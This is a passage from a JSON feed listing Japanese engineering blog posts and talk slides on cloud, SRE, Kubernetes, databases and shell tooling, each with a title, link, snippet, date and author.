evaluation APIを利用したLLMの評価手法 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-06-10T09:31:15.000Z","dateMiliSeconds":1718011875000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud主催パートナー向けイベントで「Google Cloud で利用できるRDBのベクトル検索を徹底解剖!」を話しました。","link":"https://zenn.dev/nnaka2992/articles/compare_vector_searches_on_google_clouds_rdb","contentSnippet":"2024年6月5日にGoogle Cloudがパートナー向けに開催したデータ関連の非公開イベントで「Google Cloud で利用できるRDBのベクトル検索を徹底解剖!」というLTを話しました。https://speakerdeck.com/nnaka2992/google-cloud-deli-yong-dekirurdbnobekutorujian-suo-woche-di-jie-pou非公開イベントのため録画がなかったり、LT枠だった関係で省略してしまった部分があったりしたためブログでより詳細な説明資料のようなものを書きました。 背景Google Cloudが提供する...","isoDate":"2024-06-09T22:00:00.000Z","dateMiliSeconds":1717970400000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"k6導入 ~ k6 browserでE2Eテストまでにやってきたことのまとめ","link":"https://zenn.dev/melanmeg/articles/78df5703c9da2b","contentSnippet":"はじめにzenn初めてみました✋スカイウイルでインフラエンジニアをしております。案件でk6の調査/実装をする機会があったのでまとめてみました。中でもk6 browserは実験的なモジュールということもあってか関連する記事が少ないため、今回の記事が役に立てればと思います。 k6とはパフォーマンステストおよび負荷テストのためのオープンソースツールであり、Webアプリのパフォーマンスを評価するために利用できます。https://k6.io/docs/以下のような特徴があります並列実行が可能JavaScriptでテストシナリオを記述CLI外部統合の容易さグラフ...","isoDate":"2024-06-09T06:20:45.000Z","dateMiliSeconds":1717914045000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"可観測性ガイダンス","link":"https://speakerdeck.com/nwiizo/ke-guan-ce-xing-kaitansu","contentSnippet":"可観測性ガイダンスというタイトルで登壇してきました。\\r\\rイベント名: オブザーバビリティ再入門 - 大切さと高め方を知ろう!\\rイベントURL: https://mackerelio.connpass.com/event/316449/\\r\\r\\r# ブログでいくつかの可観測性に関する書籍のまとめを投稿しました。\\r5年後には標準になっている可観測性のこと - Learning Opentelemetry の読書感想文\\rhttps://syu-m-5151.hatenablog.com/entry/2024/04/16/180511\\r\\rもう一度読むObservability Engineering\\rhttps://syu-m-5151.hatenablog.com/entry/2024/05/06/090014\\r\\r盲目的に始めないためのオブザーバビリティ実践ガイド - Cloud Observability in Actionの読書感想文\\rhttps://syu-m-5151.hatenablog.com/entry/2024/05/10/121047","isoDate":"2024-06-04T04:00:00.000Z","dateMiliSeconds":1717473600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREに求められるスキルと心構え","link":"https://sreake.com/blog/sre-required-skills-and-mindset/","contentSnippet":"はじめに こんにちは、最近の私の人生はキックボクシングとコーディングの2つの活動に極端に偏りつつあります。nwiizoです。一見正反対のようなこの2つの活動ですが、共通する本質があります。それは、頭で考えるだけでなく、実 […]The post SREに求められるスキルと心構え first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-06-03T01:56:04.000Z","dateMiliSeconds":1717379764000,"authorName":"Sreake","authorId":"Sreake"},{"title":"gh searchでOSS貢献を振り替える","link":"https://blog.atusy.net/2024/06/03/gh-search-merged-prs/","contentSnippet":"ghコマンド、ベンリですね。こんな感じで、公開レポジトリに作ったPRの内、マージされたものを一発で集計できちゃいます。今のところ、59レポジトリに167PRをマージしてもらったみたいです。","isoDate":"2024-06-03T00:00:00.000Z","dateMiliSeconds":1717372800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Remixでフロントエンド入門してみた","link":"https://blog.atusy.net/2024/06/03/remix-beginner/","contentSnippet":"ぼちぼちフロントエンドなるもんもやってみたいなーと思い、Remixに入門してみました。フロントエンドの経験は、仕事でちょっとVue2を触ったことがあるのと、3年ほど前にReactのチュートリアルをやったことがあるくらい。特に拘りはなく、同僚がおすすめしてたRemixに手を出してみることにしました。","isoDate":"2024-06-03T00:00:00.000Z","dateMiliSeconds":1717372800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"fishの起動時間","link":"https://blog.atusy.net/2024/06/02/fish-startuptime/","contentSnippet":"fishの起動時間はfish -i -c \\"fish_prompt; exit 0\\"の実行時間で測るとよさそうです。-iオプションにより設定ファイルの実行時間を含む-cオプションにfish_promptを呼ぶことでプロンプトの決定にかかる時間を含むコマンドのベンチマークに便利なhyperfineを使うとこんな感じ。平均45.8msとのことで、十分に高速かと思います。","isoDate":"2024-06-02T00:00:00.000Z","dateMiliSeconds":1717286400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"fishでzshのhistoryも参照したい","link":"https://blog.atusy.net/2024/05/30/fish-history/","contentSnippet":"先日、fish使い始めたとの話をしたところですが、移行にあたり、Zshのコマンド履歴を使えないことが苦痛になりました。そんな時も、さっと設定できちゃうFishはステキ。~/.zsh_history)と、Fishのコマンド履歴(historyコマンドの出力)を合体させて、fzfで選択すれば両方の履歴を使えます。","isoDate":"2024-05-30T00:00:00.000Z","dateMiliSeconds":1717027200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"H/LとPageUp/PageDownを共存させる設定 (submode編)","link":"https://blog.atusy.net/2024/05/29/vim-hl-enhanced/","contentSnippet":"この記事は、Vim駅伝の2024年5月29日の記事です。22日の記事でH/LとPageUp/PageDownを共存させる設定の紹介がありました。https://zenn.dev/vim_jp/articles/20240522_ekiden_better_hlHとLは通常では、表示領域内の最初の行や最後の行にカーソルを移動させるコマンドです。連打しやすい割に、連打する意味がない、惜しい存在ですが、スクロール機能も持たせるのは良いアイデアですね。","isoDate":"2024-05-29T00:00:00.000Z","dateMiliSeconds":1716940800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"fish使い始めた","link":"https://blog.atusy.net/2024/05/27/fish/","contentSnippet":"長く、Zshを使っていましたが、Fishに移行しました。ノープラグインでOKなくらい高機能で工夫せずとも20msで起動するのは快適でいいです。ネット上のコマンドをコピペした時もそんなに込まらなさそう。","isoDate":"2024-05-27T00:00:00.000Z","dateMiliSeconds":1716768000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud SQL for PostgreSQLのベクトル検索を試す","link":"https://zenn.dev/nnaka2992/articles/play_with_cloud_sql_vector_search","contentSnippet":"Google Cloud Next \'24でGoogle Cloudが提供するすべてのマネージドデータベースにベクトル検索の機能が追加されました。[1]今回はそのなかのCloud SQL for PostgreSQLにフォーカスしてベクトル検索機能を試します。 Cloud SQL for PostgreSQL インスタンススペックエディションEnterprisevCPU2RAM8GBストレージタイプSSDZoneasia-northeast1接続パブリックIPを有効化 必要な設定を行うデータベースを作成す...","isoDate":"2024-05-26T15:54:14.000Z","dateMiliSeconds":1716738854000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Geminiはトーク分析ツールに取って代わるか","link":"https://sreake.com/blog/gemini-talk-analysis/","contentSnippet":"はじめに 初めまして、Sreake事業部アプリケーション開発支援チームの大美です。 先日、Googleのマルチモーダル生成AIモデル Gemini 1.5 Pro のコンテキストウィンドウが100万→200万トークンにア […]The post Geminiはトーク分析ツールに取って代わるか first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-05-24T10:28:39.000Z","dateMiliSeconds":1716546519000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloudのプロンプト比較機能を用いた、言語モデルにおけるプロンプト設計","link":"https://sreake.com/blog/google-cloud-prompt-design/","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。 本記事では、Google Clo […]The post Google Cloudのプロンプト比較機能を用いた、言語モデルにおけるプロンプト設計 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-05-24T09:52:32.000Z","dateMiliSeconds":1716544352000,"authorName":"Sreake","authorId":"Sreake"},{"title":"セキュリティ人材になるために/becoming a security personnel","link":"https://speakerdeck.com/moz_sec_/becoming-a-security-personnel","contentSnippet":"2024年5月23日に行われたランチタイムトークで登壇した資料です。","isoDate":"2024-05-23T04:00:00.000Z","dateMiliSeconds":1716436800000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Kubernetes Code Contribution入門","link":"https://speakerdeck.com/bells17/kubernetes-code-contributionru-men","contentSnippet":"Kubernetes Novice Tokyo #32 で登壇したセッションの資料です。\\rhttps://k8s-novice-jp.connpass.com/event/317561/\\r\\r配信URL:\\rhttps://www.youtube.com/live/sRLG9ufaZ4M","isoDate":"2024-05-21T04:00:00.000Z","dateMiliSeconds":1716264000000,"authorName":"bells17","authorId":"bells17"},{"title":"Neovimの端っこで\\\\lとかしたら、WeztermのとなりのPaneに移動する","link":"https://blog.atusy.net/2024/05/21/move-nvim-win-or-wezterm-pane/","contentSnippet":"Weztermで区切ったPaneの中でNeovimを操作していると、lしたのに隣に移動できないぞ?という気分になるときがあります。右隣はNeovimのWindowではなく、WeztermのPaneですね。","isoDate":"2024-05-21T00:00:00.000Z","dateMiliSeconds":1716249600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Oracle Dataabse 19cの検証環境が欲しいからProxmoxに環境構築する","link":"https://zenn.dev/nnaka2992/articles/install_oracle_19c_to_proxmox","contentSnippet":"概要300年ぶりぐらいに、ローカル環境(非Cloud環境)でホストしたOracle Databaseが欲くなったので、自宅にあるProxmoxへインストールします。 前提Proxmoxにダウンロード済みのOracle Linux 9のイメージを利用する。利用するOracle Databaseは19cとする。検証環境のため本番用途に適した設定ではない。 Proxmox VMを建ち上げる Oracle Database 19cのサーバ要件今回関係あるもののみ抜粋しています。OSOracle Linux 9およびRed Hat互換カーネル: 5.14.0-...","isoDate":"2024-05-19T14:18:18.000Z","dateMiliSeconds":1716128298000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Pulumi コマンド を GitHub Actions で実行する","link":"https://zenn.dev/z63d/articles/0d6b3ee4e9a44e","contentSnippet":"背景副業で Pulumi を使っています。プロバイダーなどのパッケージのバージョン更新をサボっていたのですが、対応しようと思い Renovate で更新するようにしました。しかし、PR が来た時点では Pulumi の差分が分かりません。ローカルで pulumi preview を実行して差分がないことを毎回確認するのは面倒なので GitHub Actions で pulumi preview を実行して PR のコメントで差分を表示してもらうことにしました。 環境Pulumi CloudPulumi + TypeScriptGoogle Cloud 実装していく...","isoDate":"2024-05-18T05:30:31.000Z","dateMiliSeconds":1716010231000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"CloudSQL for PostgreSQLのベンチマークと比較して理解するAlloyDBの特徴","link":"https://zenn.dev/nnaka2992/articles/compare_alloydb_and_postgres","contentSnippet":"概要Google Cloudが提供するPostgreSQL互換データベースであるAlloyDBのパフォーマンスをトランザクション用途・分析用途の双方から検証する。今回の検証ではAlloyDBの上限を見定めるのではなく、CloudSQLと比べてどのようなパフォーマンスになるを目的とする。 TL;DR絞り込み条件がインデックスに限定されない場合、AlloyDBのパフォーマンスメリットが特に大きくなる。絞り込み条件がインデックスに限定され、かつデータサイズが小さい場合、CloudSQL for PostgreSQLのコストパフォーマンスが大きくなる。現将・将来のワークロード...","isoDate":"2024-05-17T15:16:13.000Z","dateMiliSeconds":1715958973000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[Kubernetes 1.30] kube-proxy の nftables モード","link":"https://zenn.dev/toversus/articles/dcb888d73f0615","contentSnippet":"kube-proxyService へのトラフィックをプロキシするコンポーネントのデフォルト実装e.g.) Cluster IP への通信を Pod IP にリダイレクトするEndpointSlice, Service, Node などのオブジェクトの変更を検知して Service を介したトラフィックのルーティングを可能にするContainer Network Interface (CNI) vs kube-proxyCNI が Pod 間で通信できるように Pod IP の払い出しやルーティングをセットアップするPod は一時的なものかつ Pod ...","isoDate":"2024-05-16T23:43:33.000Z","dateMiliSeconds":1715903013000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Cloud SQL(MySQL)とSpring Bootの画像検索アプリケーション作成","link":"https://sreake.com/blog/cloudsql-spring-boot-image-search-app/","contentSnippet":"はじめに Google Cloud Next ’24 にて Cloud SQL for MySQL にて Embedding データを入れられるようになったというアナウンスが有りました。 https://cl […]The post Cloud SQL(MySQL)とSpring Bootの画像検索アプリケーション作成 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-05-15T00:02:44.000Z","dateMiliSeconds":1715731364000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Posit Table Contestに`felp::fuzzyhelp()`を投稿した","link":"https://blog.atusy.net/2024/05/13/posit-table-contest/","contentSnippet":"RStudio IDEを開発するPosit PBCがTable Contest: 2024 Editionを開催しています。表を使ったデータの可視化の例を思い思いに投稿してもらい、その中から受賞者を決めて、Tシャツやマグカップなどのノベルティを進呈するプログラムのようです。polarsパッケージを使って投稿した人には特別な受賞枠もあるようです。2022年にも同様のコンテストがありましたが、今年はR言語に限らず、Python言語を使っての投稿もOKとのこと。","isoDate":"2024-05-13T00:00:00.000Z","dateMiliSeconds":1715558400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Dev ContainersとTestcontainers","link":"https://speakerdeck.com/bells17/devcontainerstotestcontainers","contentSnippet":"TechFeed Experts Night#28 〜 コンテナ技術最前線 〜で登壇したセッションの資料です。\\rhttps://techfeed.io/events/techfeed-experts-night-28","isoDate":"2024-05-08T04:00:00.000Z","dateMiliSeconds":1715140800000,"authorName":"bells17","authorId":"bells17"},{"title":"OpenTelemetryによる計装とOpenTelemetry Collectorについて調べてみた","link":"https://sreake.com/blog/opentelemetry-instrumentation/","contentSnippet":"はじめに はじめまして、スリーシェイクインターン生の有馬祐二と関根弘晃です。私たちは2024年3月18日~3月29日に開催された短期インターンシップに参加しました。私たちのグループではインターンの期間でテレメトリデータの […]The post OpenTelemetryによる計装とOpenTelemetry Collectorについて調べてみた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-05-07T01:32:46.000Z","dateMiliSeconds":1715045566000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Ciliumのkube-proxy置き換えに関する調査 ~ GKE Dataplane V1・V2 の比較 ~","link":"https://sreake.com/blog/cilium-kube-proxy-replacement/","contentSnippet":"自己紹介 小林 インターン生のの小林です。大学では、ネットワーク系の研究を行っています。もともとセキュリティやネットワークに興味があり、SREやインフラ領域のスキル向上になると思い、本インターンに参加しました。 中村 イ […]The post Ciliumのkube-proxy置き換えに関する調査 ~ GKE Dataplane V1・V2 の比較 ~ first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-05-05T23:59:27.000Z","dateMiliSeconds":1714953567000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Pulumi ESC を使ってみる","link":"https://zenn.dev/z63d/articles/496f787cda423c","contentSnippet":"概要Pulumi ESC (Environments, Secrets, and Configuration)クラウドインフラとアプリケーションの secret と configuration を管理できるPulumi Cloud で利用可能なマネージドサービス2023/10 にリリース現在はプレビュー段階 ドキュメントに記載されている内容をざっくり要約Pulumi ESC はクラウド環境における secret と configuration の複雑さに対処し、メンテナンスの負担を軽減し、コストのかかるミスを減らし、「secure by default」な体制を構...","isoDate":"2024-05-05T04:36:28.000Z","dateMiliSeconds":1714883788000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"【2024年夏期インターン】SREの技術について学びたいインターン募集!","link":"https://sreake.com/blog/summer_intern/","contentSnippet":"リモートで開催する2週間程度で、技術に関する研究を行うインターンシッププログラムとなっています!当社SREエンジニアがメンターとしてサポートし、知識に不安をお持ちの方のために事前学習の期間を設けておりますので、インフラ、 […]The post 【2024年夏期インターン】SREの技術について学びたいインターン募集! first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-05-01T03:27:01.000Z","dateMiliSeconds":1714534021000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Infrastructure Modernization 支援パートナープログラムに賛同","link":"https://sreake.com/blog/gcim/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 クラウドへのインフラストラクチャ移行を支援する Google Cloud Infrastructure Moderniza […]The post スリーシェイク、 Google Cloud Infrastructure Modernization 支援パートナープログラムに賛同 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-04-30T07:15:12.000Z","dateMiliSeconds":1714461312000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[Kubernetes 1.30] Dynamic Resource Allocation の再構築","link":"https://zenn.dev/toversus/articles/5bbd68e507f28d","contentSnippet":"!Kubernetes 1.30 時点でアルファ機能のため、実装が大きく変わる可能性があります。[Kubernetes 1.27] Dynamic Resource Allocation のいまで紹介した Dynamic Resource Allocation (DRA) の内部的な仕組みに Kubernetes 1.30 で大きく変更が入ることになりました。内部的な仕組みの変更なので、ユーザー視点ではこれまでと利用方法は変わりません。ResourceClass に追加されたフィールドを有効にしないと新しい仕組みが使えないため、クラスタ管理者は対応が必要になります。世界的に AI...","isoDate":"2024-04-30T06:43:41.000Z","dateMiliSeconds":1714459421000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Wireguard Exporter と Grafana Alloy で VPN 通信量を可視化","link":"https://blog.1q77.com/2024/04/wireguard-exporter/","contentSnippet":"先日、家のラズパイに Grafana Alloy をセットアップしてメトリクス可視化の環境はできているので WireGuard での VPN 通信のメトリクスを可視化してみようかなと試してみまし","isoDate":"2024-04-28T12:57:31.000Z","dateMiliSeconds":1714309051000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Istio Ambient Mesh の inpod redirection 試してみた","link":"https://sreake.com/blog/istio-ambient-mesh-inpod-redirection/","contentSnippet":"先日Istio 1.21.0がリリースされ ambient meshにinpod redirectionが実装されました。(ambient meshはまだalphaなので本番環境では非推奨です) inpod redire […]The post Istio Ambient Mesh の inpod redirection 試してみた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-04-23T06:05:05.000Z","dateMiliSeconds":1713852305000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Dev Containerを使ってみよう","link":"https://zenn.dev/bells17/articles/devcontainer-2024","contentSnippet":"Dev Containerを使ってみようDev Containerを使う上で知っておくと良さげな情報のまとめ記事です前にRemote SSHでDev Containerの環境を構築する記事を書いたので、今回はDev Container全般の情報をまとめてみましたhttps://zenn.dev/bells17/articles/remote-ssh-devcontainer tl;drDev Containerを使うと開発環境をコンテナで構築できるよ(ランタイムとかツール類含めて!)docker composeだとアプリケーションを動作させる環境は作れるけどDev C...","isoDate":"2024-04-22T18:05:48.000Z","dateMiliSeconds":1713809148000,"authorName":"bells17","authorId":"bells17"},{"title":"「セキュリティ・キャンプ全国大会2024」にスリーシェイクのエンジニアが講師として登壇","link":"https://sreake.com/blog/security/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、独立行政法人情報処理推進機構と一般社団法人セキュリティ・キャンプ協議会が共催する「セキュリティ・キャンプ […]The post 「セキュリティ・キャンプ全国大会2024」にスリーシェイクのエンジニアが講師として登壇 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-04-22T01:07:46.000Z","dateMiliSeconds":1713748066000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Next ‘24 参加レポート","link":"https://sreake.com/blog/google-cloud-next-24-report/","contentSnippet":"参加レポート タイトルの通りラスベガスにて4/9から11まで開催されていた Google Cloud Next’24 に参加してきました。 今回は Google Cloud Partner Top Engineer 20 […]The post Google Cloud Next ‘24 参加レポート first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-04-17T23:00:00.000Z","dateMiliSeconds":1713394800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[EKS] Amazon Linux 2023 への移行","link":"https://zenn.dev/toversus/articles/a4bbd2047bbba1","contentSnippet":"2024/2/29 に Amazon Linux 2023 が EKS で正式サポートされました。全てのリージョンの Karpenter Node、マネージドノードグループ、セルフマネージドノードグループで利用可能です。現在 EKS でサポート対象の 1.25 以降に加えて、延長サポートに入っている EKS 1.23 / 1.24 でも利用できます。Amazon Linux 2023 のサポートに関しては Amazon EKS-Optimized Amazon Linux 2023 AMIs Now Available のブログに詳細がまとまっています。 セキュリティ機能の強化Am...","isoDate":"2024-04-17T00:22:38.000Z","dateMiliSeconds":1713313358000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Grafana Alloy でメトリクス収集","link":"https://blog.1q77.com/2024/04/grafana-alloy/","contentSnippet":"Raspberry Pi を新しくしてからメトリクスの可視化を行っていなかったので Grafana Cloud で見れるようにセットアップしようと Grafana のサイトを見ていたら Alloy というものの存在を","isoDate":"2024-04-15T15:16:09.000Z","dateMiliSeconds":1713194169000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"[Kubecon EU 2024: Cloud Native AI Day] Pods Everywhere! InterLink: A Virtual Kubelet Abstraction Streamlining HPC Resource Exploitation の紹介","link":"https://sreake.com/blog/kubecon-eu-2024-pods-everywhere-interlink-a-virtual-kubelet-abstraction-streamlining-hpc-resource-exploitation/","contentSnippet":"はじめに INFNというイタリア国立核物理学研究所のメンバーであるディエゴさんが、「パブリッククラウド、オンプレミスの異種シミュレーション環境において、インターフェースの統一を目的としたプロジェクト」の紹介をするセッショ […]The post [Kubecon EU 2024: Cloud Native AI Day] Pods Everywhere! InterLink: A Virtual Kubelet Abstraction Streamlining HPC Resource Exploitation の紹介 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-04-08T03:46:21.000Z","dateMiliSeconds":1712547981000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Shinyをバックグラウンドで起動する","link":"https://blog.atusy.net/2024/04/01/shiny-as-background-process/","contentSnippet":"先週、felp v0.4.0をリリースしました。このパッケージはShinyを使っていて、felp::fuzzyhelp()を実行すると、以下のように、ヘルプをあいまい検索できます。1からも起動できます。","isoDate":"2024-04-01T00:00:00.000Z","dateMiliSeconds":1711929600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PGUnconf #46 でPostgreSQL の開発するときにまず何からすればいいかを聞いてきた","link":"https://nnaka2992.hatenablog.com/entry/zatu/20240323_pgunconf.md","contentSnippet":"PGUnconf #46 でPostgreSQL の開発するときにまず何からすればいいかを聞いてきた概要2024年3月23日に第46回 PostgreSQLアンカンファレンス@東京が開催されました。PostgreSQLアンカンファレンスは日本PostgreSQLユーザー会が主催するイベントでPostgreSQLユーザーはもちろん、PostgreSQLのコントリンビューターやコミッターも参加しているイベントです。その中でPostgreSQL メジャーコントリビューターであり、コミッターでもある@masahiko_sawadaさんが、PGConn 2024でMAKING POSTGRESQL HACKING MORE INCLUSIVEというセッションでPostgreSQLコミュニティーがどうすればより初心者にオープンになれるか? という内容でディスカッションするそうです。そこに向けてアイデアはあるか? 困ってることはないか? という相談? をされていました。経験豊富な方々は実践的な案を出していましたが、私はPostgreSQLにコードコントリビュートしたいけど何からすればいいのか分らないという状態だったのでこの機会に相談してみました。自分のレベル感Cはすこし読める。すこし書けるPostgreSQLのソースコードはsimple_query_execの関数をひととおり読んで、なんとなくどこで何しているか分かるPostgreSQLのメーリングリストはとりあえず入った何が分からなかったのか?そもそもPostgreSQLはメーリングリストとパッチの文化なのでGitHub/Labなどになれた身からするとよく分からないです。またGitHubで管理されているOSSでは良くあるgood first issueのようなものも存在しないため、新規参入者には難しいと感じていました。なにからすればいいのか?PGUnconfでは以下のようなアドバイスを受けました。チュートリアルをなぞってドキュメント通りに動かないものを修正する初心者向けコンテンツへの追記は初心者にしか出来ないので、是非おねがいしたいとのことでした既存のパッチで放置されているもの(Headでビルドできないようなもの)をアップデートするメーリングリストのディスカッションを眺めてネタを探す新規機能を試してバグをさがし、修正するCommitFestに参加するまとめ1のネタを探してみつつ、PostgreSQL17のリリースが近いので4に取りくんでみようと思います。","isoDate":"2024-03-31T14:30:29.000Z","dateMiliSeconds":1711895429000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"BigQuery の Object テーブルと Gemini-pro-vision リモートモデルを使って pdf を要約してみる","link":"https://zenn.dev/satohjohn/articles/0cc45efca800e3","contentSnippet":"概要pdf などの非構造化データを GCS に配置した際に BQ で分析するってどうすんねんというところをやってみる流れとしては以下を実施するpdf などを gcs に配置するBigQuery Connection の作成する必要な権限付与を行うBQ で Object テーブルを作成するBQ でリモートモデルを作成するObject テーブルを使って pdf の要約をする 必要なことBigQuery Connection API の有効化 手順 pdf などを GCS に配置するここは何も考えないで GCS に pdf を配置する例えば、今回...","isoDate":"2024-03-30T17:44:21.000Z","dateMiliSeconds":1711820661000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"生成AIアプリケーションにおけるRAGとデータベースの役割","link":"https://speakerdeck.com/shukob/sheng-cheng-aiahurikesiyonniokeruragtotetahesunoyi-ge","contentSnippet":"https://3-shake.connpass.com/event/311868/\\r3-SHAKE SRETTにて、生成AIのデータベースやストレージに関連した部分を発表。","isoDate":"2024-03-29T04:00:00.000Z","dateMiliSeconds":1711684800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"オシャレな図を書くために意識していること","link":"https://speakerdeck.com/kojake_300/osiyarenatu-woshu-kutameniyi-shi-siteirukoto","contentSnippet":"","isoDate":"2024-03-29T04:00:00.000Z","dateMiliSeconds":1711684800000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"2024-03-29 SRETT9 Cloud SQLの可用性について","link":"https://speakerdeck.com/masasuzu/2024-03-29-srett9-cloudsqlnoke-yong-xing","contentSnippet":"","isoDate":"2024-03-29T04:00:00.000Z","dateMiliSeconds":1711684800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"社内ChatBot (h1-slack-bot)にClaude\xa03を追加した話(+α)","link":"https://sreake.com/blog/chatgpt-slack-integration-claude-3/","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 この記事では、Anthro […]The post 社内ChatBot (h1-slack-bot)にClaude\xa03を追加した話(+α) first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-03-29T02:50:00.000Z","dateMiliSeconds":1711680600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ビットコイン・ブロックチェーン入門","link":"https://speakerdeck.com/shukob/hitutokoinhurotukutienru-men","contentSnippet":"初学者の方向けにビットコイン・ブロックチェーン技術の全体像をお話ししました。","isoDate":"2024-03-22T04:00:00.000Z","dateMiliSeconds":1711080000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"新人SREが0から始めるGKE上でのArgoCDによるWordPressデプロイ","link":"https://sreake.com/blog/deploy-wordpress-with-argocd-on-gke/","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。私は、情報系の大学院生で、普段は数値解 […]The post 新人SREが0から始めるGKE上でのArgoCDによるWordPressデプロイ first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-03-21T23:34:40.000Z","dateMiliSeconds":1711064080000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ECSのタグ付け認可とアカウント単位のオプトアウトの廃止","link":"https://blog.masasuzu.net/entry/2024/03/20/121151","contentSnippet":"ECSのタグ付け認可とはアカウント単位のオプトアウトの廃止確認影響がある例対応まとめ関連リソースECSのタグ付け認可とはECS関連のリソース作成時にリソースタグを付けることができます。その際 ecs:tagResource の権限が必要となります。なお、リソースタグを設定しないECSリソース作成の際は権限不要です。この権限の有無のチェックをタグ付け認可と言います。具体的にECSリソースの作成のアクションは以下の通りです。CreateCapacityProviderCreateClusterCreateServiceCreateTaskSetRegisterContainerInstanceRegisterTaskDefinitionRunTaskStartTaskタグ付け認可の仕組みは2023年4月18日に導入されました。しかしながら従来からECSリソースを作成する際にタグ付けしていたAWSアカウントに関しては影響があるため、アカウントレベルでタグ付け認可の機能を無効(オプトアウト)することができました。つまりアカウントレベルで無効にしていれば ecs:tagResource の権限がなくてもタグ付けをすることが可能でした。しかしながらアカウント単位のオプトアウト設定は2024年3月9日に廃止されます。アカウント単位のオプトアウトの廃止タグ付け認可におけるタイムラインは以下のとおりです2023年4月18日 タグ付け認可の導入とアカウント単位での有効化設定の導入2024年2月9日- 2月28日 新規アカウントおよび影響を受けないアカウントに関してデフォルトでタグ付け認可の有効化が行われる2024年2月29日 アカウント単位で有効にしている場合、無効に変更できなくなる2024年3月29日 すべてのアカウントでタグ付け認可が有効になり、アカウント単位での設定が不可能になる現時点(2024/03/20)であまり時間がありません。現在タグ付け認可に影響あるAWSアカウントに関しては、Personal Health Dashboadに以下のような通知が来ているはずです。▼ElasticContainerService security notification (クリックで展開)▼English follows Japanese | 英語のメッセージは日本語の後にございますお客様のアカウントにて過去 1 年以内に ecs:TagResource の許可無しに ECS リソースの作成時にタグを付けていることが判明したため、ご連絡差し上げます。Amazon ECS は、2023 年 4 月 18 日にリソース作成のタグ付け認証を導入しました [1]。新規および既存のお客様は、ECS Console または API の ECS アカウント設定ページを使用して、この新機能の使用をオプトインする必要があります。このセキュリティ制御により、ECS リソースの作成時にタグをつけることをユーザーに拒否または許可できます。2024 年 3 月 29 日以降もお客様の IAM プリンシパルが新しく作成された ECS リソースに引き続きタグを適用できるように、IAM ポリシーを更新して ecs:TagResource アクションを明示的に許可することを強くお勧めします。2024 年 2 月 9 日以降、AWS コンソール の ECS アカウント設定ページにて tagResourceAuthorization アカウント設定を明示的に off に設定していないすべてのお客様のアカウントは、自動的にこの設定にオプトインされました。お客様の AWS 